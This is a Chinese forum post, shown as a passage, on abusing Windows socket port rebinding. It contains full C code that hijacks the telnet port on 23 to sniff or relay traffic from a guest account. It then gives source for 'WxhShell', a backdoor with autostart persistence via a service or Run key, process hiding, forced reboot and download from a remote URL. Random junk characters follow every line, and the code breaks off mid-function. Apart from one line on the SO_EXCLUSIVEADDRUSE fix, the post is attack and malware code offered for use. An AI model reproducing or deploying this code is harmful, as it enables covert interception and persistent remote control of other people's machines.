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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b~2LD3"3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y t7>,  
;ik,6_/Y  
  saddr.sin_family = AF_INET; % K,cGgp^)  
4I9Yr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2Bi?^kQ#  
;p7R~17  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S$gLL kD1  
JXHf$k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P/xE n_*v  
 uAs!5h  
  这意味着什么?意味着可以进行如下的攻击: l[u17,]S  
8@b`a]lgrd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]L2b|a3  
eaDR-g"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) < {h \Msx%  
{pdPp|YDZ-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hl0\$  
;NQ}c"9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ky&wv+7  
bk&kZI.D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #=)!\   
lI~8[[$xd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O{\%{XrW  
>cpv4Pgm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $@l=FV_;  
l%xTF@4e  
  #include 3h$E^"  
  #include !pC`vZG"  
  #include j#u{(W'r  
  #include    *>2e4j]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {jv+ J L"5  
  int main() x!7r7|iV  
  { fg lN_  
  WORD wVersionRequested; L2_[M'  
  DWORD ret; EdTL]Xk  
  WSADATA wsaData; u8t|!pMF8  
  BOOL val; 0$0 215  
  SOCKADDR_IN saddr; )CHXfO w  
  SOCKADDR_IN scaddr; jT/P+2hMW  
  int err; X,Rl&K\b"  
  SOCKET s; ,N;2"$+E  
  SOCKET sc; fP6\Ur  
  int caddsize; =M}tet }  
  HANDLE mt; zg'.fUZ  
  DWORD tid;   @^DVA}*b)  
  wVersionRequested = MAKEWORD( 2, 2 ); !X||ds  
  err = WSAStartup( wVersionRequested, &wsaData ); @eDs)mY  
  if ( err != 0 ) { u'k+t`V&  
  printf("error!WSAStartup failed!\n"); 59p'U/|  
  return -1; IG7,-3  
  } +SE\c  
  saddr.sin_family = AF_INET; uF1&m5^W  
   ^vTx%F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ya> AI.!K  
R NQq"c\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^>>9?  
  saddr.sin_port = htons(23); ,F*HZBNFZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~]].i~EV(  
  { Onh R`  
  printf("error!socket failed!\n"); ]*gf$D  
  return -1; 3ZI:EZ5  
  } "shX~zd5  
  val = TRUE; H:OpS-b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s5 {B1e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X|/RV4x@Cq  
  { cM CM>*X  
  printf("error!setsockopt failed!\n"); x^ `IZ{!  
  return -1; !* KQ2#e  
  } ExN $J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `.dwG3R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *B \ @L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6!?] (  
V;^N:I\js  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?3qp?ea  
  { j8 `7)^  
  ret=GetLastError(); UbGnU_}  
  printf("error!bind failed!\n"); }_F:]lI*R  
  return -1; GY.iCub  
  } dA E85  
  listen(s,2); )q.ZzijG/  
  while(1) 'U*#7 1S  
  { dh.{lvlX|  
  caddsize = sizeof(scaddr); .t8hTlV?<B  
  //接受连接请求 @'5*jXd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w<zzS: PF*  
  if(sc!=INVALID_SOCKET) wjZ Q.T!  
  { ; yE.R[I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E:k]Z  
  if(mt==NULL) .{ZJywE<  
  { J7C?Z  
  printf("Thread Creat Failed!\n"); HG< z,gE 2  
  break; -T i<H9OV  
  } C9!FnvH  
  } `p1B58deC  
  CloseHandle(mt); k Jw Pd;%  
  } Aqz $WTHW+  
  closesocket(s); $}0!dR2  
  WSACleanup(); 2y|n!p T  
  return 0; xIW]e1pu=(  
  }   <Rs$d0/  
  DWORD WINAPI ClientThread(LPVOID lpParam) fI2 y(p{?  
  { hoM%|,0  
  SOCKET ss = (SOCKET)lpParam; 3 {hUp81>  
  SOCKET sc; Fw{68ggk  
  unsigned char buf[4096]; Yk)fBPHr  
  SOCKADDR_IN saddr; 8DMqjt3B  
  long num; $G6kS@A  
  DWORD val; D!#B*[|  
  DWORD ret; &<_q00F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :Ny[?jt c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LFqY2,#i  
  saddr.sin_family = AF_INET; K" |~D0Qgo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #_`p 0wY  
  saddr.sin_port = htons(23); ^$C&{%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :VWN/m  
  { |(TEG.<g  
  printf("error!socket failed!\n"); Y2'HP)tfIw  
  return -1; 3TLym&  
  } J]zhwM  
  val = 100; @o*~\E<T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M(:bM1AD`u  
  { 9Iq<*\V 4  
  ret = GetLastError(); +'iqGg-  
  return -1; $aB`A$'hK  
  } oM^vJ3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q4*{+$A  
  { &/2+'wCp5  
  ret = GetLastError(); "L`BuAB  
  return -1; {O).!  
  } 2L[!~h2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2<h~: L  
  { `QRXQ c  
  printf("error!socket connect failed!\n"); D5({&.X[-  
  closesocket(sc); 8z7eL>)  
  closesocket(ss); PhV/WjCZ  
  return -1; X8}\m%gCU  
  } *GY8#Az  
  while(1) =Ti@Y  
  { %X^qWKix}m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oR!h eCnu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lq]8zm<\)]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rZ5xQ#IA  
  num = recv(ss,buf,4096,0); \,n X/f  
  if(num>0) EE|c@M^  
  send(sc,buf,num,0); ;$1x_ Cb  
  else if(num==0) 2A =Y  
  break; &OE-+z  
  num = recv(sc,buf,4096,0); P*>?/I`G  
  if(num>0) fVa z'R  
  send(ss,buf,num,0); k h*WpX  
  else if(num==0) +4Wl  
  break;   )*6  
  } #H4<8B  
  closesocket(ss); a5O$he  
  closesocket(sc); 0H.bRk/P+  
  return 0 ; kka{u[ruA  
  } $;} @2U   
0-aaLC~Z>  
#O,w{S  
========================================================== !};Ll=dz  
Z%LS{o~LK.  
下边附上一个代码,,WXhSHELL hR:i!  
_A& [rBm|  
========================================================== " W{rS4L  
v$x)$/]n  
#include "stdafx.h" ^_ V0irv  
l Le&q  
#include <stdio.h> "'+C%  
#include <string.h> d(d3@b4Ta  
#include <windows.h> y!:vX6l  
#include <winsock2.h> >Di`zw~  
#include <winsvc.h> $!!y v'K  
#include <urlmon.h> ;{&4jcV*  
s?;V!t  
#pragma comment (lib, "Ws2_32.lib") `s\[X-j]  
#pragma comment (lib, "urlmon.lib") :RZ'_5P[If  
#nft{AN  
#define MAX_USER   100 // 最大客户端连接数 ._;It198f  
#define BUF_SOCK   200 // sock buffer  lA4J#  
#define KEY_BUFF   255 // 输入 buffer D'{ o3Q,%K  
sAs`O@  
#define REBOOT     0   // 重启 _Gb 7n5p  
#define SHUTDOWN   1   // 关机 g2}aEfp!H  
.wWf#bB  
#define DEF_PORT   5000 // 监听端口 e.(d?/!F_  
ygm6(+  
#define REG_LEN     16   // 注册表键长度 n}1hmAh Z  
#define SVC_LEN     80   // NT服务名长度 %iYro8g!,  
+!`$(  
// 从dll定义API &gC)%*I 4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @m:' L7+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~R=p[h)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eg&Q,dH[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); < 0S\P=\  
'u%_Ab_H  
// wxhshell配置信息 [xGL0Z%)t  
struct WSCFG { :x3DuQP  
  int ws_port;         // 监听端口 (r'NB  
  char ws_passstr[REG_LEN]; // 口令 )PkGT~3I  
  int ws_autoins;       // 安装标记, 1=yes 0=no &Q\k`0vzVB  
  char ws_regname[REG_LEN]; // 注册表键名 [Q6$$z92Q  
  char ws_svcname[REG_LEN]; // 服务名 7~P!Z=m^^f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $gk=~p|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8(A k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w)YTHY (k;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &?y|Pn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YY7dw:>e/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \MmB+'f&R  
\Km+>G  
}; 7<2?NLE8*  
X.q#ZpK  
// default Wxhshell configuration j *N^.2  
struct WSCFG wscfg={DEF_PORT, kZ:~m1dd  
    "xuhuanlingzhe", KO}TCa  
    1, -W})<{End  
    "Wxhshell", #a8i($k{e  
    "Wxhshell", *>o@EUArN  
            "WxhShell Service", u+jx3aP:  
    "Wrsky Windows CmdShell Service", ~+RrL,t#  
    "Please Input Your Password: ", xBw ua;  
  1, K #JO#  
  "http://www.wrsky.com/wxhshell.exe", \tS| N40  
  "Wxhshell.exe" {@-tRm&  
    }; IWhe N  
jt9@aN.mJN  
// 消息定义模块 xFp9H'j{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %6@m~;c0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A/j'{X!z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,p..h+l  
char *msg_ws_ext="\n\rExit."; O7,:-5h0  
char *msg_ws_end="\n\rQuit."; $uK[[k~=S  
char *msg_ws_boot="\n\rReboot..."; E`iE]O  
char *msg_ws_poff="\n\rShutdown..."; W%9"E??c  
char *msg_ws_down="\n\rSave to "; 5(Xq58nhxI  
9w\C vO&R  
char *msg_ws_err="\n\rErr!"; 5y~B/.YY  
char *msg_ws_ok="\n\rOK!"; 1py >[II@  
J+hifO  
char ExeFile[MAX_PATH]; zKG]7  
int nUser = 0; gvP.\,U  
HANDLE handles[MAX_USER]; ^c sOXP=Yp  
int OsIsNt; 8Y;>3z th7  
kh>i#9Ie  
SERVICE_STATUS       serviceStatus; '}P$hP_d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R_:-Z .  
zfGr1;  
// 函数声明 a-5#8  
int Install(void); gGbqXG^  
int Uninstall(void); u)P)r,  
int DownloadFile(char *sURL, SOCKET wsh); OnE~0+  
int Boot(int flag); |X~vsM0  
void HideProc(void); 2QIo|$  
int GetOsVer(void); VZA>ErB  
int Wxhshell(SOCKET wsl); FvBnmYn W  
void TalkWithClient(void *cs); N$8"X-na?  
int CmdShell(SOCKET sock); s! sG)AR.J  
int StartFromService(void); Z2k5qs7g  
int StartWxhshell(LPSTR lpCmdLine); o1<Z; 2#  
Xkp`1UTH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \Q,5Ne'o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0Jm)2@  
"LVN:|!  
// 数据结构和表定义 +n<;);h  
SERVICE_TABLE_ENTRY DispatchTable[] = yf e4}0}  
{ 0:>C v<N  
{wscfg.ws_svcname, NTServiceMain}, Yp9%u9tNq  
{NULL, NULL} bLz('mUY  
}; v,c:cKj  
`%0k\,}V  
// 自我安装 t~]tw  
int Install(void) 3 W?H^1t  
{ DEpn>   
  char svExeFile[MAX_PATH]; =,W~^<\"  
  HKEY key; NUX2{8gs  
  strcpy(svExeFile,ExeFile); [\pp KC  
JB!KOzw  
// 如果是win9x系统,修改注册表设为自启动 LBhDP5qF  
if(!OsIsNt) { HwZ@T &_4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N*>&XJ#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 aiE0b9c  
  RegCloseKey(key); T7 XbbU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D4QL lP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A4VV y~sd  
  RegCloseKey(key); zLVk7u{e  
  return 0; :}fIu?hCA  
    } "NO*(<C.R  
  } eP|hxqM&9  
} aw'o=/a8  
else { bRc~e@  
C6}`qD  
// 如果是NT以上系统,安装为系统服务 T:EUI]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yvKKE  
if (schSCManager!=0) 1|#j/  
{ K9euNa  
  SC_HANDLE schService = CreateService zzyD'n7D  
  ( 3VmF1w 2  
  schSCManager, 1?ST*b  
  wscfg.ws_svcname, SV_b(wP9  
  wscfg.ws_svcdisp, )'t&LWS~  
  SERVICE_ALL_ACCESS, @?<1~/sfL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7.1FRxS  
  SERVICE_AUTO_START, )m$i``*<  
  SERVICE_ERROR_NORMAL, EcmyY,w  
  svExeFile, 1cPjgBxv#  
  NULL, iJ~e8l0CA  
  NULL, =doOt 7Rj  
  NULL, x?-kt.M  
  NULL, .&c!k1kH  
  NULL @RVj~J.A  
  ); CKRnkTTiV  
  if (schService!=0) F%e5j9X`  
  { uze5u\  
  CloseServiceHandle(schService); tp=/f !bv  
  CloseServiceHandle(schSCManager); WEB enGQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u69s}yZ  
  strcat(svExeFile,wscfg.ws_svcname); *Mr'/qp,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5JRj'G0I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l( 0:CM  
  RegCloseKey(key); G[[<-[C]5  
  return 0; -#"7F:N1  
    } {,CvWL  
  } Sc3B*.  
  CloseServiceHandle(schSCManager); W2j@Q=YDS  
} C*,PH!$k  
} _8nT$!\\  
+h? z7ZY^  
return 1; _f~m&="T!  
} e.pq6D5  
sBm/9vu  
// 自我卸载 #_[W*-|L  
int Uninstall(void) RiM!LX  
{ g7U>G=,;?U  
  HKEY key; a$P$Ngi?S  
|+(Hia,X  
if(!OsIsNt) { ^B7C8YP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QDJ:LJz\  
  RegDeleteValue(key,wscfg.ws_regname); w `r)B`!g  
  RegCloseKey(key); 1:d,8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :s'hXo  
  RegDeleteValue(key,wscfg.ws_regname); s~MCt|a  
  RegCloseKey(key); B#;0{  
  return 0; d<B=p&~  
  } K_E- Hgg_  
} 7[u$!.4{*  
} Pi:=0,"XOp  
else { "f<+~  
H g;;>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AIa#t#8${  
if (schSCManager!=0) (dVrGa54  
{ 0] $5jW6]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /N82h`\n  
  if (schService!=0) 0I@Cx {$  
  { meNz0ve  
  if(DeleteService(schService)!=0) { +zn207 .`  
  CloseServiceHandle(schService); @&M$oI$4*  
  CloseServiceHandle(schSCManager); O/2Jz  
  return 0; i7(\i2_P  
  } vAp?Zl?g  
  CloseServiceHandle(schService); uA2-&smw  
  } ^L;k  
  CloseServiceHandle(schSCManager); Q.Ljz Z  
} i@ XFnt  
} CHRO9  
oc3}L^aD  
return 1; (N25.}8Y  
} '=eE6=m^K  
<FFaaGiE>  
// 从指定url下载文件 Rk.GrLp  
int DownloadFile(char *sURL, SOCKET wsh) vswBK-w(Z  
{ [v$NxmRu  
  HRESULT hr; #[{xEVf  
char seps[]= "/"; mjz<,s`D  
char *token; '+{dr\nJ  
char *file; l]o)KM<  
char myURL[MAX_PATH]; PC}m.tE  
char myFILE[MAX_PATH]; SQd`xbIuL  
iNAaTU  
strcpy(myURL,sURL); FI$#x%A  
  token=strtok(myURL,seps); 3V`.<  
  while(token!=NULL) _z3YB  
  { `Gp!Y  
    file=token; _C97G&  
  token=strtok(NULL,seps); N>}2&'I  
  } fCxF3m(O  
*PVv=SU  
GetCurrentDirectory(MAX_PATH,myFILE); +w pe<T  
strcat(myFILE, "\\"); dECH/vJ^  
strcat(myFILE, file); HGjGV]N5  
  send(wsh,myFILE,strlen(myFILE),0); : 'LG%E:b  
send(wsh,"...",3,0); =wy3h0k^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^."HD(  
  if(hr==S_OK) c_r&)8  
return 0; /Aq):T T  
else 2dF:;k k  
return 1; N%.Dj H  
5{&<X.jv  
} TGJ\f  
zUhJr$N$  
// 系统电源模块 WrGz`  
int Boot(int flag) f{DcR"  
{ MYb^ILz H3  
  HANDLE hToken; aab?hR  
  TOKEN_PRIVILEGES tkp; HKdR?HM1  
!bHM:!6^  
  if(OsIsNt) { a~-^$Fzgy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S3k>34_%9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E|A,NPf%I  
    tkp.PrivilegeCount = 1; T?Dq2UW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CF`fn6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tyLR_@i%%  
if(flag==REBOOT) { \#A=twp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r2*'5jk_  
  return 0; K{&b "Ba1  
} 42m}c1R  
else { /j1p^=ARV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O<x53MN^  
  return 0; +RO=a_AS  
} .ZxH#l _  
  } 6GD Uo}.  
  else { S0ct;CS  
if(flag==REBOOT) { Y{8L ~U:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %T&#JF+;  
  return 0; YTco;5/  
} ^<e"OV  
else { o\luE{H .?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (qP !x 2j  
  return 0; 0P_Y6w+  
} nAp7X-t  
} 4D/mm(2d$  
>)N}V'9  
return 1; Lz VvUVk  
} Wsr #YNhx|  
+"] 'h~W  
// win9x进程隐藏模块 ?ExfxR!~  
void HideProc(void) Z6cG<,DQ  
{ YSuw V)Y  
(8r?'H8ZO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IpxFME%!  
  if ( hKernel != NULL ) Q#bFW?>y,  
  { i#jCf3%+ h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^saJfr x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y(RbW_ ?  
    FreeLibrary(hKernel); g"3h#SMb  
  } NRKAEf_#w  
uREc9z `Q'  
return; ~P5!VNJ;r  
} omV.Qb'NS  
Dz&4za+{  
// 获取操作系统版本 qvOBvUR}  
int GetOsVer(void) 55oLj.l^j  
{ l!ye\  
  OSVERSIONINFO winfo; (D8'qx-M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &-+&`h|s  
  GetVersionEx(&winfo); |k'I?:'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =*'X  
  return 1; ftq~AF  
  else 'q[V*4g  
  return 0; 33\b@F7b  
} `bZ_=UAb  
RWBmQg^]X  
// 客户端句柄模块 >?e*;f$VdJ  
int Wxhshell(SOCKET wsl) e_6 i896  
{ JoZC+G  
  SOCKET wsh; 0;TMwE  
  struct sockaddr_in client; qc\o>$-:`  
  DWORD myID; !00%z  
,XP9NHE  
  while(nUser<MAX_USER) Pr<?E[  
{ 2$NP46z}  
  int nSize=sizeof(client); RpLm'~N'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q@(N 38D  
  if(wsh==INVALID_SOCKET) return 1; ]?)zH:2)  
PJ Air8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }qz58]fyx  
if(handles[nUser]==0) ;T52 aX  
  closesocket(wsh); .: 7h=neEW  
else q#\eL~k  
  nUser++; WaMn[/{  
  } +N4h Q"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Iz{AA-  
((dG<  
  return 0; .^kTb2$X  
} l:@.D|(o3  
wU#Q>ut'%  
// 关闭 socket 9 I RE@c  
void CloseIt(SOCKET wsh) #8/Z)-G  
{ 6!Isz1.re  
closesocket(wsh); N7#GK]n%/}  
nUser--; g dC=SFb b  
ExitThread(0); "Pys3=h  
} "Ln\ZYB]  
C1G Wi4)  
// 客户端请求句柄 &2\.6rb.  
void TalkWithClient(void *cs) y6j TT%  
{ %n}]$ d  
0\Oeo8<7)~  
  SOCKET wsh=(SOCKET)cs; R1q04Zj{2  
  char pwd[SVC_LEN]; gieX`}  
  char cmd[KEY_BUFF]; U |4% ydG  
char chr[1]; K->p&6s  
int i,j; hcaH   
%)aDh }  
  while (nUser < MAX_USER) { xEiW]Eo  
^$#Q_Y|  
if(wscfg.ws_passstr) { ac&tpvij  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2=3iA09px  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E>V8|Hz;  
  //ZeroMemory(pwd,KEY_BUFF); 5!cplx=<  
      i=0; 2dI:],7  
  while(i<SVC_LEN) { L,kF]  
w|5}V6WD  
  // 设置超时 Z=H f OC  
  fd_set FdRead; i([A8C_A  
  struct timeval TimeOut; mA>Pr<aV:  
  FD_ZERO(&FdRead); Sdt @"6  
  FD_SET(wsh,&FdRead); |]]fcJOBP  
  TimeOut.tv_sec=8; WD)[Ac[  
  TimeOut.tv_usec=0; 6% ,Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "iydXV=Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ):[[Ch_  
$Y4 Ao-@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TMRXl.1  
  pwd=chr[0]; r-V./M@L  
  if(chr[0]==0xd || chr[0]==0xa) { l;;:3:  
  pwd=0; W.CIyGK  
  break; ^Ta"Uk'  
  } 1IsR}uLh  
  i++; FQ4rA 4  
    } 0+H"$2/  
{l1;&y?  
  // 如果是非法用户,关闭 socket hmi15VW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7:;V[/  
} ~p 1y+  
r:o!w7C:a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v]1rH$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6RtpB\hq  
'\;tmD"N5#  
while(1) { 9(I4x]`  
[gE2lfaEy  
  ZeroMemory(cmd,KEY_BUFF);  ~.Gk:M  
f[ywC$en  
      // 自动支持客户端 telnet标准   1GNA x\(  
  j=0; SVHtv0Nx  
  while(j<KEY_BUFF) { nAYjSE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /[-hJ=< Yb  
  cmd[j]=chr[0]; u/zfx ;K  
  if(chr[0]==0xa || chr[0]==0xd) { ~& l`"  
  cmd[j]=0; 3A9|{Vaz+6  
  break; qjFgy)qV  
  } Yk5kC 0B  
  j++; lV 1|\~?4  
    } MWuVV=rd8a  
"N;|~S)w!  
  // 下载文件 S,v`rmI  
  if(strstr(cmd,"http://")) { - t+Mh.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'F~u \m=E  
  if(DownloadFile(cmd,wsh)) B?4\IXek  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4H:WpW*r  
  else -_}EQ9Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?\yo~=N^  
  } nk{1z\D{  
  else { r3-3*_  
i>~?XVU  
    switch(cmd[0]) { A4^+p0@  
  68SM br  
  // 帮助 `l}-S |a  
  case '?': { _`\INZe-G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C+mU_g>  
    break; f0F$*"#G  
  } F, "x~C  
  // 安装 )eFK@goGeb  
  case 'i': { eOb`uyi  
    if(Install()) s6$3[9Vh&9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y:a(y*y<  
    else ^#4s/mdVO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x0d+cSw  
    break; C/ bttd  
    } P8jK yo  
  // 卸载 fin15k  
  case 'r': { x\%eg w  
    if(Uninstall()) xv:?n^yt.[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jBC9Vt;B  
    else A>?fbY2n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1gE`_%?K  
    break; bm4W,  
    } 1mX*0>  
  // 显示 wxhshell 所在路径 U,=K_oBAq  
  case 'p': { S|[UEU3FpB  
    char svExeFile[MAX_PATH]; GXfVjC31z  
    strcpy(svExeFile,"\n\r"); qkIU>b,B  
      strcat(svExeFile,ExeFile); $o/>wgQY-  
        send(wsh,svExeFile,strlen(svExeFile),0); @2mP  
    break; 9ZBF1sMg  
    } [a3 0iE  
  // 重启 (Ka# 6   
  case 'b': { d}ZH Y[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {ZcZ\Q;6  
    if(Boot(REBOOT)) dc05,Bz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lK4+8VZ  
    else { p{rS -`I  
    closesocket(wsh); nR7\ o(!  
    ExitThread(0); #-;BU{3*  
    } 1 XG-O  
    break; Cu:Zn%  
    } )hug<D *h  
  // 关机 HhL%iy1  
  case 'd': { +2SX4Kxu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h uJqqC  
    if(Boot(SHUTDOWN)) `y}d)"!  
